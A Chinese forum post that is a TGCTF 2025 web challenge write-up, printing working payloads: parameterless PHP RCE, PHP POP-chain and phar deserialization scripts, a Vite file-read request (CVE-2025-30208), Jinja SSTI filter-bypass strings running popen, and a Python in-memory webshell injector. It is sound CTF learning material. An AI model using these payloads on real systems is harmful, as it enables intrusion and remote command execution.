TGCTF web

打印 上一主题 下一主题

主题 1726|帖子 1726|积分 5178

AAA偷渡阴平

这个题是一个非预期的无参RCE
  1. <?php
  2. $tgctf2025=$_GET['tgctf2025'];
  3. if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
  4.     //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
  5.     eval($tgctf2025);
  6. }
  7. else{
  8.     die('(╯‵□′)╯炸弹!•••*~●');
  9. }
  10. highlight_file(__FILE__);
复制代码
这里只给了数字2,所有的字母,和一些符号 ,这里貌似是过滤了(),但是仔细看的话可以发现这里的括号实在是中文,也就是即是没有过滤。
先说下无参RCE的打法。
  1. http://node1.tgctf.woooo.tech:31293/?tgctf2025=var_dump(getallheaders());
复制代码

  1. http://node1.tgctf.woooo.tech:31293/?tgctf2025=var_dump(next(getallheaders()));
复制代码
这里通过next获得Pragma这个参数,这个参数是我们可以控制的。

这样在外边在套上一层eval就可以了

什么文件上传


开题一个文件上传点,实验之后发无论上传什么内容都会报错,无法乐成上传。
爆破一下路径发现robots.txt

这里重点看一下class.php
看到源代码
  1. <?php
  2.     highlight_file(__FILE__);
  3.     error_reporting(0);
  4.     function best64_decode($str)
  5.     {
  6.         return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
  7.     }
  8.     class yesterday {
  9.         public $learn;
  10.         public $study="study";
  11.         public $try;
  12.         public function __construct()
  13.         {
  14.             $this->learn = "learn<br>";
  15.         }
  16.         public function __destruct()
  17.         {
  18.             echo "You studied hard yesterday.<br>";
  19.             return $this->study->hard();
  20.         }
  21.     }
  22.     class today {
  23.         public $doing;
  24.         public $did;
  25.         public $done;
  26.         public function __construct(){
  27.             $this->did = "What you did makes you outstanding.<br>";
  28.         }
  29.         public function __call($arg1, $arg2)
  30.         {
  31.             $this->done = "And what you've done has given you a choice.<br>";
  32.             echo $this->done;
  33.             if(md5(md5($this->doing))==666){
  34.                 return $this->doing();
  35.             }
  36.             else{
  37.                 return $this->doing->better;
  38.             }
  39.         }
  40.     }
  41.     class tommoraw {
  42.         public $good;
  43.         public $bad;
  44.         public $soso;
  45.         public function __invoke(){
  46.             $this->good="You'll be good tommoraw!<br>";
  47.             echo $this->good;
  48.         }
  49.         public function __get($arg1){
  50.             $this->bad="You'll be bad tommoraw!<br>";
  51.         }
  52.     }
  53.     class future{
  54.         private $impossible="How can you get here?<br>";
  55.         private $out;
  56.         private $no;
  57.         public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
  58.         public function __set($arg1, $arg2) {
  59.             if ($this->out->useful7) {
  60.                 echo "Seven is my lucky number<br>";
  61.                 system('whoami');
  62.             }
  63.         }
  64.         public function __toString(){
  65.             echo "This is your future.<br>";
  66.             system($_POST["wow"]);
  67.             return "win";
  68.         }
  69.         public function __destruct(){
  70.             $this->no = "no";
  71.             return $this->no;
  72.         }
  73.     }
  74.     if (file_exists($_GET['filename'])){
  75.         echo "Focus on the previous step!<br>";
  76.     }
  77.     else{
  78.         $data=substr($_GET['filename'],0,-4);
  79.         unserialize(best64_decode($data));
  80.     }
  81.     // You learn yesterday, you choose today, can you get to your future?
  82. ?>
复制代码
一个简单的pop链子,整体的利用是:
  1. yesterday -> __destruct
  2. today -> __call
  3. tommoraw -> toString 之后触发危险函数
复制代码
这里的一个点是md5()处理一个对象的时候,会首先调用这个对象的toString
但是这里要留意一下参数的处理,接收到参数之后,多次进行base64解码,然后截取到倒数第四个字符,以是我们构造poc的时候,要预先多次base64编码,然后拼接上4个多余的字符。
  1. <?php  
  2.   
  3. function best64_encode($str)  
  4. {  
  5.     return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));  
  6. }  
  7.   
  8. class future{  
  9.   
  10. }  
  11.   
  12. class today {  
  13.     public $doing;  
  14.     public function __construct() {  
  15.         $this->doing = new future();  
  16.     }  
  17. }  
  18.   
  19. class yesterday {  
  20.     public $learn;  
  21.     public $study;  
  22.     public $try;  
  23.   
  24.     public function __construct() {  
  25.         $this->study = new today();  
  26.     }  
  27. }  
  28.   
  29.   
  30. $a=new yesterday();  
  31. echo best64_encode(serialize($a))."1234";
复制代码

前端GAME


简单玩一卑鄙戏,直接结束掉,发现提示要读取/tgflagggg下的flag
这里后边看了下js代码,发现只要分数高于17就会有这个提示,显然这个题的考点不在这个题目的分数上,然后思量怎么读取flag,直接访问肯定是访问不到的,这时候看下题目的代码依赖。

发现了这里的vite想起这里是有一个任意文件读取的漏洞的,简单搜刮一下得到CVE-2025-30208
参考文章
根据文章当中的
  1. curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
复制代码
构造我们这个题的poc
  1. curl "http://node2.tgctf.woooo.tech:30758/@fs/tgflagggg?import&raw??"
复制代码

火眼辩魑魅

这个题,似乎又是被我非掉了
还是找到了这里的robots.txt

这里每个php文件对应一个观察点,但是题目说只有一个洞是可行的,那么就挨个看一下

第一个文件上传,我其时做的时候,反正是没有任何权限,直接放弃这个点

这里直接给了源代码,并且直接eval思量利用一下 。直接打是存在过滤的,应该是过滤掉了各种危险函数,但是这里可以拼接绕过一下。
  1. shell=$a="syst"."em";$a('cat /tgfffffllllaagggggg');
复制代码

之后找出题人聊了一下

发现黑白预期,于是继承看下其他的点

预期解是这里的ssti,就不复现了

这个是反序列化的pop链,末了Sink是php原生类,但是这里黑名单太多了,目测没法打。
直面天命

该说不说这个题属于有点套了

不懂是啥

源码当中发现/hint路由

这里没办法只能是多线程爆破一下,这里可以让GPT写个脚本,多线程还是很快的,这里找到了aazz

提示说这个页面可以传参数,这里有点谜语人,手动fuzz几个常见的参数末了发现是filename,并且这里存在任意文件读取的问题。

然后实验读取源代码
  1. http://node2.tgctf.woooo.tech:30666/aazz?filename=app.py
复制代码

  1. import os  
  2. import string  
  3. from flask import Flask, request, render_template_string, jsonify, send_from_directory  
  4. from a.b.c.d.secret import secret_key  
  5.   
  6. app = Flask(__name__)  
  7.   
  8. black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']
  9.   
  10. def waf(name):  
  11.     for x in black_list:  
  12.         if x in name.lower():  
  13.             return True  
  14.     return Falsedef is_typable(char):  
  15.     # 定义可通过标准 QWERTY 键盘输入的字符集  
  16.     typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace  
  17.     return char in typable_chars  
  18.   
  19. @app.route('/')  
  20. def home():  
  21.     return send_from_directory('static', 'index.html')  
  22.   
  23. @app.route('/jingu', methods=['POST'])  
  24. def greet():  
  25.     template1=""  
  26.     template2=""  
  27.     name = request.form.get('name')  
  28.     template = f'{name}'  
  29.     if waf(name):  
  30.         template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{  url_for("static", filename="3.jpeg") }}" alt="Image">'  
  31.     else:  
  32.         k=0  
  33.         for i in name:  
  34.             if is_typable(i):  
  35.                 continue  
  36.             k=1  
  37.             break  
  38.         if k==1:  
  39.             if not (secret_key[:2] in name and secret_key[2:]):  
  40.                 template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{  url_for("static", filename="4.jpeg") }}" alt="Image">'  
  41.                 return render_template_string(template)  
  42.             template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"  
  43.             template= template.replace("直面","{{").replace("天命","}}")  
  44.             template = template  
  45.     if "cat" in template:  
  46.         template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{  url_for("static", filename="2.jpeg") }}" alt="Image">'  
  47.     try:  
  48.         return template1+render_template_string(template)+render_template_string(template2)  
  49.     except Exception as e:  
  50.         error_message = f"500报错了,查询语句如下:<br>{template}"  
  51.         return error_message, 400  
  52.   
  53. @app.route('/hint', methods=['GET'])  
  54. def hinter():  
  55.     template="hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"  
  56.     return render_template_string(template)  
  57.   
  58. @app.route('/aazz', methods=['GET'])  
  59. def finder():  
  60.     filename = request.args.get('filename', '')  
  61.     if filename == "":  
  62.         return send_from_directory('static', 'file.html')  
  63.   
  64.     if not filename.replace('_', '').isalnum():  
  65.         content = jsonify({'error': '只允许字母和数字!'}), 400  
  66.     if os.path.isfile(filename):  
  67.         try:  
  68.             with open(filename, 'r') as file:  
  69.                 content = file.read()  
  70.             return content  
  71.         except Exception as e:  
  72.             return jsonify({'error': str(e)}), 500  
  73.     else:  
  74.         return jsonify({'error': '路径不存在或者路径非法'}), 404  
  75.   
  76.   
  77. if __name__ == '__main__':  
  78.     app.run(host='0.0.0.0', port=80)
复制代码

重点在这个路由,但是这里过滤掉了{{}},但是后边的处理是更换成了直面和天命,就是ssti的那些poc在这里把{{}}更换成直面天命就行,再次看下黑名单。
  1. black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']
复制代码
这些地方都是可以通过拼接实现绕过的,拿出收藏的poc在这里改一下
  1. 直面lipsum|attr("\u005f\u005fglo"+"bals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("o"+"s")|attr("po"+"pen")("env")|attr("re"+"ad")()天命
复制代码
这里poc应该是很多的,但是这里有这样的更换,无法直接使用fenjing进行。
  1. 直面lipsum|attr("\u005f\u005fglo"+"bals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("o"+"s")|attr("po"+"pen")("tac /f*")|attr("re"+"ad")()天命
复制代码

熟悉的配方,熟悉的味道

  1. from pyramid.config import Configurator
  2. from pyramid.request import Request
  3. from pyramid.response import Response
  4. from pyramid.view import view_config
  5. from wsgiref.simple_server import make_server
  6. from pyramid.events import NewResponse
  7. import re
  8. from jinja2 import Environment, BaseLoader
  9. eval_globals = { #防止eval执行恶意代码
  10.     '__builtins__': {},      # 禁用所有内置函数
  11.     '__import__': None       # 禁止动态导入
  12. }
  13. def checkExpr(expr_input):
  14.     expr = re.split(r"[-+*/]", expr_input)
  15.     print(exec(expr_input))
  16.     if len(expr) != 2:
  17.         return 0
  18.     try:
  19.         int(expr[0])
  20.         int(expr[1])
  21.     except:
  22.         return 0
  23.     return 1
  24. def home_view(request):
  25.     expr_input = ""
  26.     result = ""
  27.     if request.method == 'POST':
  28.         expr_input = request.POST['expr']
  29.         if checkExpr(expr_input):
  30.             try:
  31.                 result = eval(expr_input, eval_globals)
  32.             except Exception as e:
  33.                 result = e
  34.         else:
  35.             result = "爬!"
  36.     template_str = 【xxx】
  37.     env = Environment(loader=BaseLoader())
  38.     template = env.from_string(template_str)
  39.     rendered = template.render(expr_input=expr_input, result=result)
  40.     return Response(rendered)
  41. if __name__ == '__main__':
  42.     with Configurator() as config:
  43.         config.add_route('home_view', '/')
  44.         config.add_view(home_view, route_name='home_view')
  45.         app = config.make_wsgi_app()
  46.     server = make_server('0.0.0.0', 9040, app)
  47.     server.serve_forever()
复制代码
这里输入expr,会首先进到checkExpr这个方法当中,仔细看一下这里
  1. def checkExpr(expr_input):
  2.     expr = re.split(r"[-+*/]", expr_input)
  3.     print(exec(expr_input))
  4.     if len(expr) != 2:
  5.         return 0
  6.     try:
  7.         int(expr[0])
  8.         int(expr[1])
  9.     except:
  10.         return 0
  11.     return 1
复制代码
首先根据四则运算符进行分割,然后直接进行exec,以是这里存在命令实行,但是无法直接拿到回显,并且不出网,那么就是经典的内存马利用环节了。
参考文章
  1. import requests  
  2. code='''  
  3. def waff():  
  4.     def f():        yield g.gi_frame.f_back  
  5.     g = f()    frame = next(g)      
  6.     b = frame.f_back.f_back.f_globals  
  7.     def hello(request):        code = request.POST['code']        res=eval(code)        return Response(res)  
  8.     config.add_route('shellb', '/shellb')    config.add_view(hello, route_name='shellb')    config.commit()  
  9. waff()  
  10. '''  
  11.   
  12. url=""  
  13. #url="http://127.0.0.1:9040/"  
  14. data={  
  15.     "expr":f"{code}+1"  
  16. }  
  17.   
  18. r=requests.post(url=url,data=data)
复制代码
借助这个脚本写入内存马,之后访问一下直接rce

TG_wordpress

最幽默的一题,没去打,根据形貌找了下常见的CVE
  1. TGCTF{CVE-2020-25213}
复制代码
什么文件上传?(复仇

对之前的非预期做了修复
  1. <?php
  2. highlight_file(__FILE__);
  3. error_reporting(0);
  4. function best64_decode($str)
  5. {
  6.     return base64_encode(md5(base64_encode(md5($str))));
  7.     }
  8. class yesterday {
  9.     public $learn;
  10.     public $study="study";
  11.     public $try;
  12.     public function __construct()
  13.     {
  14.         $this->learn = "learn<br>";
  15.     }
  16.     public function __destruct()
  17.     {
  18.         echo "You studied hard yesterday.<br>";
  19.         return $this->study->hard();
  20.     }
  21. }
  22. class today {
  23.     public $doing;
  24.     public $did;
  25.     public $done;
  26.     public function __construct(){
  27.         $this->did = "What you did makes you outstanding.<br>";
  28.     }
  29.     public function __call($arg1, $arg2)
  30.     {
  31.         $this->done = "And what you've done has given you a choice.<br>";
  32.         echo $this->done;
  33.         if(md5(md5($this->doing))==666){
  34.             return $this->doing();
  35.         }
  36.         else{
  37.             return $this->doing->better;
  38.         }
  39.     }
  40. }
  41. class tommoraw {
  42.     public $good;
  43.     public $bad;
  44.     public $soso;
  45.     public function __invoke(){
  46.         $this->good="You'll be good tommoraw!<br>";
  47.         echo $this->good;
  48.     }
  49.     public function __get($arg1){
  50.         $this->bad="You'll be bad tommoraw!<br>";
  51.     }
  52. }
  53. class future{
  54.     private $impossible="How can you get here?<br>";
  55.     private $out;
  56.     private $no;
  57.     public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
  58.     public function __set($arg1, $arg2) {
  59.         if ($this->out->useful7) {
  60.             echo "Seven is my lucky number<br>";
  61.             system('whoami');
  62.         }
  63.     }
  64.     public function __toString(){
  65.         echo "This is your future.<br>";
  66.         system($_POST["wow"]);
  67.         return "win";
  68.     }
  69.     public function __destruct(){
  70.         $this->no = "no";
  71.         return $this->no;
  72.     }
  73. }
  74. if (file_exists($_GET['filename'])){
  75.     echo "Focus on the previous step!<br>";
  76. }
  77. else{
  78.     $data=substr($_GET['filename'],0,-4);
  79.     unserialize(best64($data));
  80. }
  81. // You learn yesterday, you choose today, can you get to your future?
  82. ?>
复制代码
这里主要重写了best64_decode函数,导致我们无法控制这里的filename触发反序列化,但是根据file_exists和文件上传点,思量phar反序列化。
现在的问题是,如何上传文件呢。

根据这里的提示,允许的后缀名是三个小写字母,还是需要进行爆破,这里爆出来的后缀是atg
  1. <?php  
  2.   
  3. function best64_encode($str)  
  4. {  
  5.     return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));  
  6. }  
  7.   
  8. class future{  
  9.   
  10. }  
  11.   
  12. class today {  
  13.     public $doing;  
  14.     public function __construct() {  
  15.         $this->doing = new future();  
  16.     }  
  17. }  
  18.   
  19. class yesterday {  
  20.     public $learn;  
  21.     public $study;  
  22.     public $try;  
  23.   
  24.     public function __construct() {  
  25.         $this->study = new today();  
  26.     }  
  27. }  
  28.   
  29.   
  30. $a=new yesterday();  
  31.   
  32. $phar = new Phar("phar.phar"); //后缀名必须为phar  
  33. $phar->startBuffering();  
  34. $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub  
  35. $phar->setMetadata($a); //将自定义的meta-data存入manifest  
  36. $phar->addFromString("test.txt", "test"); //添加要压缩的文件  
  37. $phar->stopBuffering();
复制代码
轻微修改下之前的poc,天生一个phar文件,然后上传,之后借助phar协议读取这个文件 触发反序列化。

AAA偷渡阴平(复仇)

  1. <?php
  2. $tgctf2025=$_GET['tgctf2025'];
  3. if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
  4.     //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
  5.     eval($tgctf2025);
  6. }
  7. else{
  8.     die('(╯‵□′)╯炸弹!•••*~●');
  9. }
  10. highlight_file(__FILE__);
复制代码
这里修复了这些无参rce可以利用的函数,这里卡了很久,最终找到
  1. http://node2.tgctf.woooo.tech:31109/?tgctf2025=session_start();system(hex2bin(session_id());
复制代码

天命复仇

这里把waf拿出来在当地搭建一下,然后丢到fenjing当中直接能跑出来
  1. import requests
  2. url="http://node1.tgctf.woooo.tech:31535/jingu"
  3. poc="""天命((joiner["\\x5f\\x5f\\x69\\x6e\\x69\\x74\\x5f\\x5f"]["\\x5f\\x5f\\x67\\x6c\\x6f\\x62\\x61\\x6c\\x73\\x5f\\x5f"]["\\x5f\\x5f\\x62\\x75\\x69\\x6c\\x74\\x69\\x6e\\x73\\x5f\\x5f"]["\\x5f\\x5f\\x69\\x6d\\x70\\x6f\\x72\\x74\\x5f\\x5f"]('o''s'))['p''open']('cat /tg*'))['r''ead']()难违"""
  4. data={
  5.     "name": poc
  6. }
  7. r=requests.post(url=url,data=data)
  8. print(r.text)
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

缠丝猫

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表